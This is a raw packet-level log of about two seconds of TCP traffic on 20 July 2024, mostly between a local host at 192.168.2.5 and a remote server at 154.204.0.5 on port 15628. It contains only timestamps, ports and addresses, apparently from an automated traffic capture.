Jul 20, 2024 16:14:59.531553030 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.536711931 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.536782980 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.541805983 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.541848898 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.547223091 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.547318935 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.553633928 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.553679943 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.559122086 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.559221983 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.564382076 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.568945885 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.573777914 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.573873043 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.578815937 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.581541061 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.586539984 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.589544058 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.594530106 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.597543955 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.605221987 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.605545998 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.611552954 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.613553047 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.618448973 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.619646072 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.624620914 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.624707937 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.630424023 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.633533001 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.638780117 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.641554117 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.647006035 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.649545908 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.655802965 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.655886889 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.660881996 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.660959005 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.666327953 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.667740107 CEST	49743	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:59.667774916 CEST	443	49743	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:59.667793989 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.673114061 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.673556089 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.678999901 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.681092978 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.686024904 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.686136007 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.691052914 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.691143036 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.696239948 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.696331978 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.701463938 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.701538086 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.708347082 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.708441973 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.713332891 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.713382959 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.718585968 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.718678951 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.724061966 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.724148989 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.729188919 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.729243994 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.734491110 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.734564066 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.740866899 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.740955114 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.746697903 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.746752977 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.754008055 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.754080057 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.758954048 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.759011030 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.763907909 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.763961077 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.768764973 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.768814087 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.773646116 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.773704052 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.779870987 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.779932976 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.796325922 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.796392918 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.801450968 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.801531076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.806545019 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.806622028 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.811707973 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.811772108 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.816849947 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.816936016 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.822196007 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.822261095 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.828267097 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.828363895 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.833385944 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.833482981 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.838428974 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.838494062 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.843666077 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.843759060 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.850920916 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.850986004 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.856415033 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.856523991 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.861697912 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.861753941 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.870795012 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.870865107 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.875946045 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.876049995 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.881017923 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.881087065 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.886172056 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.886225939 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.891433954 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.891525030 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.896460056 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.920095921 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.925110102 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.925184011 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.930391073 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.930442095 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.935772896 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.935842037 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.961416006 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.961513996 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.969229937 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.969321012 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.974205971 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.974278927 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.980330944 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.980401993 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.986267090 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.986335993 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.991425991 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.991511106 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:59.998123884 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:59.998195887 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.003736973 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.003838062 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.010886908 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.010952950 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.015799046 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.015867949 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.020922899 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.021030903 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.026088953 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.026165962 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.030952930 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.031027079 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.036401987 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.036501884 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.041440010 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.041543961 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.046485901 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.048660040 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.053586006 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.062952042 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.069032907 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.069123030 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.075603008 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.075706005 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.081406116 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.081521988 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.086468935 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.086524963 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.092408895 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.092598915 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.101982117 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.102092981 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.107804060 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.122057915 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.129638910 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.141691923 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.146884918 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.152538061 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.157845974 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.158842087 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.164583921 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.164736986 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.169630051 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.208884001 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.214040995 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.214097023 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.218996048 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.219120026 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.224246979 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.224327087 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.229499102 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.233601093 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.238512039 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.239012003 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.244879961 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.542669058 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.547904015 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.550595999 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.555774927 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.555839062 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.560740948 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.615506887 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.621915102 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.621989965 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.628052950 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.628521919 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.633394003 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.633502007 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.638263941 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.638370991 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.644263983 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.644661903 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.649516106 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.649833918 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.656229019 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.656286955 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.663994074 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.664069891 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.670633078 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.670687914 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.676815033 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.676951885 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.682066917 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.682152987 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.687118053 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.687222004 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.692114115 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.692193031 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.697592020 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.698151112 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.703336000 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.703429937 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.709532976 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.709940910 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.714941978 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.715028048 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.735790968 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.735903025 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.744834900 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.744962931 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.750221014 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.750315905 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.759444952 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.759536028 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.764471054 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.764574051 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.770060062 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.770344973 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.775398016 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.777544975 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.782406092 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.782994986 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.787950039 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.788033009 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.792943954 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.793031931 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.797950983 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.798034906 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.802843094 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.802911043 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.807749987 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.807837009 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.812755108 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.812853098 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.817714930 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.817873001 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.822818995 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.822900057 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.827846050 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.827923059 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.833368063 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.833451986 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.858671904 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.868416071 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.868566036 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.869398117 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.869455099 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.876172066 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.876276970 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.876799107 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.876851082 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.881230116 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.881330013 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.881649971 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.881699085 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.886197090 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.886255980 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.886451960 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.891123056 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.891191959 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.896049023 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.897543907 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.902595043 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.918864965 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.924022913 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.924110889 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.929152012 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.929229975 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.934206009 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.934279919 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.939204931 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.939274073 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.944294930 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.944371939 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.949295044 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.949404001 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.954349995 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.954405069 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.959367990 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.959459066 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.964401007 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.964462042 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.969554901 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.969676971 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.974664927 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.974720955 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.980396032 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.980454922 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.985302925 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.985359907 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.990595102 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.990704060 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:00.995841980 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:00.995897055 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:01.000813007 CEST	15628	49709	154.204.0.5	192.168.2.5
